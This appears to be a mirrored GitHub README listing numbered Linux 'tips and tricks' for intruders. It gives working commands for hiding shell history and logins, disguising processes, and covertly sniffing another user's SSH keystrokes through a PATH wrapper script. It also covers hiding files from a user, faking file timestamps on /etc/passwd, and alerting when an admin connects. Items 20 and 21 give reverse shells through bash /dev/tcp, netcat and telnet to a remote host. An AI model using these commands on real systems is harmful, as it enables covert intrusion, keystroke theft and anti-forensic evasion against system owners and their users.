mrezqi/thc-1001-tips-and-tricks

Various tips & tricks

thc-1001-tips-and-tricks

Various tips & tricks

A collection of our favorite tricks. Many of those tricks are not from us. We merely collect them.

We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.

Got tricks? Send them to [email protected].

1. Leave Bash without history:

Tell Bash that there is no history file (~/.bash_history).

$ unset HISTFILE

This is the first command we execute on every shell. It will stop the Bash from logging your commands.

It is good housekeeping to 'commit suicide' when exiting the shell:

$ kill -9 $$

2. Almost invisible SSH

$ ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

This will not add your user to the /var/log/utmp file and you wont show up in w or who command of logged in users. On your client side it will stop logging the host name to ~/.ssh/known_hosts.

3. SSH tunnel OUT

We use this all the time to circumvent local firewalls or IP filtering:

$ ssh -g -L31337:1.2.3.4:80 [email protected]

You or anyone else can now connect to your computer on port 31337 and gets connected to 1.2.3.4:80 and appearing from host 'host.org'

4. SSH tunnel IN

We use this to give access to a friend to an internal machine that is not on the public Internet:

$ ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Anyone connecting to host.org:31338 will get connected to the compuyter 192.168.0.5 on port 80 via your computer.

5. Hide your command

$ cp `which nmap` syslogd
$ PATH=.:$PATH syslogd -T0 10.0.2.1/24

In this example we execute nmap but let it appear with the name syslogd in ps alxwww process list.

6. Hide your arguments

Continuing from above..FIXME: can this be done witout LD_PRELOAD and just in Bash?

7. ARP discover computers on the local network

$ nmap -r -sn -PR 192.168.0.1/24

This will Arp-ping all local machines. ARP ping always seems to work and is very steahlthy (e.g. does not show up in the target's firewall). However, this command is by far our favourite:

$ nmap -thc

8. Sniff a SSH session

$ strace -p <PID of ssh> -e trace=read -o ~/.ssh/ssh_log.txt
$ grep 'read(4' ~/.ssh/ssh_log.txt | cut -f1 -d\"

Dirty way to monitor a user who is using ssh to connect to another host from a computer that you control.

9. Sniff a SSH session without root priviledges

Even dirtier way in case /proc/sys/kernel/yama/ptrace_scope is set to 1 (strace will fail on already running SSH clients unless uid=0)

Create a wrapper script called 'ssh' that executes strace + ssh to log the session:

# Add ~/.ssh to the execution PATH variable so our 'ssh' is executed instead of the real ssh:
$ echo '$PATH=~/.local/bin:$PATH' >>~/.profile

# Create our log directory and our own ssh binary
$ mkdir ~/.ssh/.logs
$ mkdir -p ~/.local/bin ~/.ssh/logs

$ cat >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@
# now press CTRL-d to close the file.

$ cat ~/.local/bin/ssh-log
#! /bin/bash
grep 'read(4' | cut -f2 -d\" | while read -r x; do
        if [ ${#x} -ne 2 ] && [ ${#x} -ne 1 ]; then continue; fi
        if [ x"${x}" == "x\\n" ] || [ x"${x}" == "x\\r" ]; then
                echo ""
        else
                echo -n "${x}"
        fi
done >~/.ssh/.logs/ssh-log-"${1}"-`date +%s`.txt
# now press CTRL-d to close the file

$ chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log

The SSH session will be sniffed and logged to ~/.ssh/logs/ the next time the user logs into his shell and uses SSH.

10. File Encoding - uuencode

Binary files transfer badly over a terminal connection. There are many ways to convert a binary into base64 or similar and make the file terminal friendly. We can then use a technique described further on to transfer a file to and from a remote system using nothing else but the shell/terminal as a transport medium (e.g. no separate connection).

Encode:

$ uuencode /etc/issue.net issuer.net-COPY
begin 644 issue-net-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end

Cut & paste the output (4 lines, starting with 'being 644 ...') into this command: Decode:

$ uudecode
begin 644 issue-net-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end

11. File Encoding - openssl

Openssl can be used when uu/decode/encode is not available on the remote system:

Encode:

$ openssl base64 </etc/issue.net
VWJ1bnR1IDE4LjA0LjIgTFRTCg==

Cut & paste the output into this command:

$ openssl base64 -d >issue.net-COPY

12. File Encoding - xxd

..and if neither uuencode nor openssl is available then we have to dig a bit deeper in our trick box and use xxd.

Encode:

$ xxd -p </etc/issue.net
726f6f743a783a303a30...

Cut & paste the output into this command: Decode:

$ xxd -p -r >issue.net-COPY

13. File transfer - using screen from REMOTE to LOCAL

Transfer a file FROM the remote system to your local system:

Have a screen running on your local computer and log into the remote system from within your shell. Instruct your local screen to log all output:

CTRL-a : logfile screen-xfer.txt

CTRL-a H

We use openssl to encode our data but any of the above encoding methods works. This command will display the base64 encoded data in the terminal and screen will write this data to screen-xfer.txt:

$ openssl base64 </etc/issue.net

Stop your local screen from logging any further data:

CTRL-a H

On your local computer and from a different shell decode the file:

$ openssl base64 -d <screen-xfer.txt
$ rm -rf screen-xfer.txt

13. File transfer - using screen from LOCAL to REMOTE

On your local system (from within a different shell) encode the data:

$ openssl base64 </etc/issue.net >screen-xfer.txt

On the remote system (and from within the current screen):

$ openssl base64 -d

Get screen to slurp the base64 encoded data into screen's clipboard and paste the data from the clipboard to the remote system:

CTRL-a : readbuf screen-xfer.txt

CTRL-a : paste .

CTRL-d

CTRL-d

Note: Two C-d are required due to a bug in openssl.

14. Shred & Erase a file

$ shred -z foobar.txt

15. Shred & Erase without shred

$ FN=foobar.txt; dd bs=1k count="`du -sk \"${FN}\" | cut -f1`" if=/dev/urandom >"${FN}"; rm -f "${FN}"

Note: Or deploy your files in /dev/shm directory so that no data is written to the harddrive. Data will be deleted on reboot.

Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.

16. Hide files as User from that User

alias ls='ls -I SecretDirectory'

This will hide the directory SecretDirectory from the ls command. Place in user's ~/.profile.

17. Restore the date of a file

Let's say you have modified /etc/passwd but the file date now shows that /etc/passwd has been modifed. Use touch to change the file data to the date of another file (in this example, /etc/shadow)

$ touch -r /etc/shadow /etc/passwd

18. Monitor all new TCP connections

# tcpdump -n "tcp[tcpflags] == tcp-syn"

19. Alert on new TCP connections

Make a bing-noise (ascii BEL) when anyone tries to SSH to/from our system (could be an admin!).

# tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done

20. Bash reverse shell

Start netcat to listen on port 1524 on your system:

$ nc -nvlp 1524

On the remote system. This Bash will connect back to your system (IP = 3.13.3.7, Port 1524) and give you a shell prompt:

$ bash -i 2>&1 >& /dev/tcp/3.13.3.7/1524 0>&1

21. Reverse Shell without Bash

Especially embedded systems do not always have Bash and the /dev/tcp/ trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet:

On the remote system:

$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

Telnet variant:

$ mkfifo /tmp/.io
$ sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

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Shoutz: ADM